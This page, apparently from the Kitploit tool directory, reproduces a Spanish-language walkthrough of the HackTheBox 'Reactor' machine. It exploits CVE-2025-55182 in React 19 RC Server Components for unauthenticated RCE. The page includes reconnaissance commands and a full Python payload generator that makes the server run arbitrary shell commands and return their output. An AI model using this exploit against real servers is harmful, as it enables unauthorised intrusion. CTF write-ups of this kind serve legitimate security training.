Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Walkthrough completo de la máquina Reactor de HTB — explota la CVE-2025-55182 para obtener una shell y luego consigue root a través de un depurador de Node.js expuesto. Paso a paso con capturas de pantalla. | Kitploit
Herramientas/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Escalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónCTFPruebas de PenetraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Herramienta de Acceso Remoto
Labs y Práctica
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Walkthrough completo de la máquina Reactor de HTB — explota la CVE-2025-55182 para obtener una shell y luego consigue root a través de un depurador de Node.js expuesto. Paso a paso con capturas de pantalla.

Ver Repositorio
125hace 4 mesesAún no revisado

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Advertencia de spoiler. Esta es una guía completa que incluye las flags. Si quieres resolver la máquina por tu cuenta, cierra esto ahora y vuelve cuando estés atascado.


Información de la máquina

CampoDetalles
NombreReactor
SOUbuntu 24.04 LTS (Noble)
DificultadMedia
CVECVE-2025-55182 (CVSS 10.0)
Puertos22 (SSH), 3000 (Next.js)
Autorsonnycroco

Resumen

Reactor está tematizado en torno a un panel de monitoreo de plantas nucleares llamado ReactorWatch. La máquina trata por completo de dos vulnerabilidades encadenadas: sin adivinanzas, sin callejones sin salida, sin fuerza bruta.

El camino: una compilación de prelanzamiento de React 19 expone una falla crítica de deserialización que te da ejecución remota de código no autenticada con una sola solicitud HTTP. Desde ahí, un puerto de depuración de Node.js que se ejecuta como root te brinda acceso completo al sistema mediante un mensaje WebSocket.

Cadena de ataque:

Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Tabla de contenido

  1. Paso 1: Reconocimiento
  2. Paso 2: Identificando el stack tecnológico
  3. Paso 3: Explotando CVE-2025-55182 (RCE no autenticada)
  4. Paso 4: Explorando como node
  5. Paso 5: Flag de usuario
  6. Paso 6: Escalada de privilegios
  7. Paso 7: Flag de root
  8. Lecciones aprendidas
  9. Remediación

Paso 1: Reconocimiento

Lo primero que hay que hacer en cualquier máquina nueva es averiguar qué está escuchando. Un escaneo de puertos completo con detección de servicios para no dejarse nada.

nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Resultados del escaneo de Nmap mostrando los puertos 22 y 3000 abiertos y Next.js identificado

Solo dos puertos. SSH es un callejón sin salida en esta etapa porque todavía no tenemos credenciales. El puerto 3000 es el objetivo. Nmap ya nos dice que es Next.js 15.0.3, lo cual es una buena pista.


Paso 2: Identificando el stack tecnológico

Antes de lanzar exploits a lo loco, quiero saber la versión exacta de todo lo que se está ejecutando. Las cabeceras HTTP ya revelaron Next.js, pero la versión de React es el detalle crítico. React 19 estuvo en prelanzamiento durante mucho tiempo y tuvo algunos problemas serios antes de la versión estable.

Descargo uno de los chunks de JavaScript del lado del cliente para comprobarlo:

curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106

Ese rc en la cadena de versión es la prueba irrefutable. Se trata de una compilación candidata a versión final (release candidate) de React 19, no de la versión estable. Las bases de datos de CVE lo confirman: CVE-2025-55182 afecta exactamente a esta compilación. CVSS 10.0.

Ya que estoy aquí, reviso las cabeceras en busca de pistas sobre middleware:

X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

No hay ninguna cabecera x-middleware-rewrite por ningún lado, lo que significa que no hay middleware de Next.js instalado. Esto descarta CVE-2025-29927 (la bypass de middleware), algo que vale la pena señalar para que no pierdas tiempo con ella.

Lo que sabemos:

  • Next.js 15.0.3 con experimental.serverActions habilitado
  • React 19.0.0-rc, vulnerable a CVE-2025-55182
  • Nombre de la aplicación: ReactorWatch (panel de sensores de reactor nuclear)
  • Sin middleware, por lo que el CVE de bypass de middleware no aplica aquí

Identificación de tecnologías mostrando React 19.0.0-rc detectado y CVE-2025-55182 identificado


Paso 3: Explotando CVE-2025-55182 (RCE no autenticada)

En qué consiste la vulnerabilidad

Los Server Components de React 19 introdujeron las Server Actions, que son funciones del lado del servidor invocables por el cliente mediante HTTP POST con una cabecera Next-Action. El analizador de cuerpos multipart que maneja estas solicitudes tiene una falla crítica: deserializa de forma insegura un tipo de referencia llamado $1:__proto__:then.

Al crear un cuerpo multipart que establece _response._prefix con JavaScript arbitrario, un atacante consigue que ese código se evalúe en el servidor. Luego, la salida se extrae mediante una excepción que Next.js usa internamente para las redirecciones (NEXT_REDIRECT) y termina codificada en URL dentro de la cabecera de respuesta x-action-redirect.

Cualquier POST a cualquier página con la cabecera Next-Action lo dispara. Sin comprobación de autenticación, sin endpoint especial. Solo envía el payload a / y ya estás dentro.

Construyendo el exploit

Un pequeño script auxiliar en Python que recibe un comando de shell como entrada, construye el payload multipart y lo escribe en disco para que curl lo envíe:

make_rce.py - generador de payloads
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Envolviéndolo todo en una función de shell para una experiencia de pseudo-shell:

Descargar herramienta